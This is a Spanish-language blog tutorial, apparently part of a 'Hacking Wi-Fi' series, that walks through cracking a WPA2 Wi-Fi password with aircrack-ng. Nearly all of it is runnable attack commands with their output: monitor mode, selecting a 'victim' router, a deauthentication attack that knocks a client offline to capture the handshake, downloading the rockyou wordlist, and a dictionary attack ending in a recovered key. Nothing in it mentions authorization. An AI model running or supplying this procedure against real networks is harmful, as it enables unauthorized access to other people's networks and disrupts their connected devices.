Hacking Wi-Fi 3: Crackeando WPA/WPA2 con aircrack-ng
Tags: wifi, wireless, pentesting, hacking
Published: 2023-08-19 18:00:00


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eg4sww9c6c014alw8zlz.png)

Crackeando contraseñas WPA/WPA2 con `aircrack-ng` usando fuerza bruta.

# ¿Qué es WPA/WPA2?
`Wi-Fi Protected Access` es un sistema de cifrado que apareció para corregir las vulnerabilidades de la `WEP`, fue diseñado para usar un servidor de autenticación (RADIUS) que distribuye claves diferentes a cada usuario. Pero también se puede usar en una forma menos segura una contraseña precompartida, donde distintos usuarios pueden usar la misma para poder autenticarse.

# Crackeando WPA/WPA2
El crackeo de la `WPA/WPA2` consta de 4 pasos, el primero es colocar la tarjeta en modo monitor, el segundo es seleccionar el router de la víctima que tenga algún cliente conectado, el tercero es capturar el tráfico generado por el router víctima mientras se hace un ataque de desautenticación al cliente conectado, esperamos a que el cliente se vuelva a conectar otra ves para capturarle el `handshake` (el `handshake` es lo que nos sirve para poder romper la contraseña) y el último paso es usar `aircrack-ng` y un diccionario (lista de contraseñas posibles en formato txt) para poder romper la contraseña. Actualmente es la más usada.

## Colocando la tarjeta en modo monitor

```bash
sudo airmon-ng start wlan1
```

## Seleccionando una víctima
Cuando usamos el siguiente comando `airodump-ng wlan1mon` lo que hacemos es usar la tarjeta en modo monitor para poder identificar las redes Wifi existentes.

```

root@vay3t:~# airodump-ng wlan1mon 

 CH  5 ][ Elapsed: 0 s ][ 2017-10-30 18:22

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 
 C0:56:27:DD:4F:63  -33        2        0    0   6  54   WPA2 CCMP   PSK  c1sc0
 C0:05:C2:C2:04:B1  -71        2        0    0   7  54e. WPA2 CCMP   PSK  Movistar

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63   30:A8:DB:F1:66:82  -30    0 - 1      0        3  
```

Nos damos cuenta de que el router `c1sc0` tiene `ENC` `WPA2` con un cliente conectado lo que significa que nos interesa.

## Capturando el handshake
Ya que hemos seleccionado nuestra víctima tenemos que capturar mientras realizamos el ataque de desautenticación con `aireplay-ng` para poder capturar el handshake

```
root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w outout

 CH  6 ][ Elapsed: 2 mins ][ 2017-10-30 18:28 ]

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:56:27:DD:4F:63   -6 100        0        0    0   6  54   WPA2 CCMP   PSK  c1sc0

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63  30:A8:DB:F1:66:82    0    1 - 1     0         0  c1sc0 
```

Mientras tenemos `airodump-ng` corriendo usaremos otra ventana para poder realizar el ataque de desautenticación. Lo que hace el ataque de desautenticación es botar al cliente para que vuelva a ingresar al router y de esa forma capturar el `handshake`

```
root@vay3t:~# aireplay-ng wlan1mon -0 4 -a C0:56:27:DD:4F:63 -c 30:A8:DB:F1:66:82
18:27:56  Waiting for beacon frame (BSSID: C0:56:27:DD:4F:63) on channel 6
18:27:57  Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|60 ACKs]
18:27:58  Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|59 ACKs]
18:27:58  Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|69 ACKs]
18:27:59  Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 6|51 ACKs]
```

* `-0 4`: También usado como `--deauth 4` lo que hace es seleccionar el ataque deauth y enviar 4 paquetes con este ataque para poder botar al cliente
* `-a C0:56:27:DD:4F:63`: Se usa para poder especificar el router víctima
* `-c 30:A8:DB:F1:66:82`: Se utiliza para poder especificar al cliente a quien vamos a botar

Este ataque se hace cuantas veces sea necesario hasta capturar el handshake. Luego de un rato nos damos cuenta que aparece esto en la ventana del `airodump-ng`: `[ WPA handshake: C0:56:27:DD:4F:63`

```
root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w outout

 CH  6 ][ Elapsed: 2 mins ][ 2017-10-30 18:28 ][ WPA handshake: C0:56:27:DD:4F:63

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:56:27:DD:4F:63   -6 100     1154      290    0   6  54   WPA2 CCMP   PSK  c1sc0

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63  30:A8:DB:F1:66:82    0    1 - 1   3518    14635  c1sc0 
```

## Crackeando con aircrack-ng
Después de haber capturado el `handshake` lo que haremos ahora es usar fuerza bruta para poder romper la contraseña. Para eso necesitamos descargar un diccionario, uno genérico que recomiendo mucho es `rockyou.txt`

```bash
wget http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
bzip2 -d rockyou.txt.bz2
```

Ahora que tenemos el diccionario usamos `aircrack-ng` donde con `-w rockyou.txt` especificamos la ruta del diccionario y luego colocamos el nombre que le hemos puesto a la captura de `airodump-ng` agregando un `-01.cap`

```
root@vay3t:~# aircrack-ng -w rockyou.txt outout-01.cap
Opening outout-01.cap
Read 38818 packets.

   #  BSSID              ESSID                     Encryption

   1  C0:56:27:DD:4F:63  c1sc0                     WPA (1 handshake)

Choosing first network as target.

Opening outout-01.cap
Reading packets, please wait...

                                 Aircrack-ng 1.2 rc4

      [00:00:09] 6232/9822769 keys tested (634.98 k/s) 

      Time left: 4 hours, 18 minutes, 3 seconds                  0.06%

                           KEY FOUND! [ 19721972 ]


      Master Key     : FD 87 8D EA 6D 83 8C B7 91 84 77 EA BE FE 17 53 
                       E6 EA 82 CC 03 A8 35 DB 7D 90 4A A7 11 EC AE 43 

      Transient Key  : 78 64 90 59 B8 3A 5F 10 00 0E 25 84 C4 EB 51 55 
                       D6 C1 F3 85 9E F8 E7 ED 7D 23 DC 47 28 67 7F 04 
                       3A 71 CE 5C 86 FB 19 B1 D5 4A 32 AD 5D 62 24 DF 
                       E7 0C D5 BB 74 DA 39 DA FD 8F 37 FF 16 53 77 BD 

      EAPOL HMAC     : A6 A7 F5 44 1E DE 57 6E 8D 06 01 D3 34 F6 D7 7B 
```

Y luego de esperar un momento ya tenemos nuestra contraseña:

```
KEY FOUND! [ 19721972 ]
```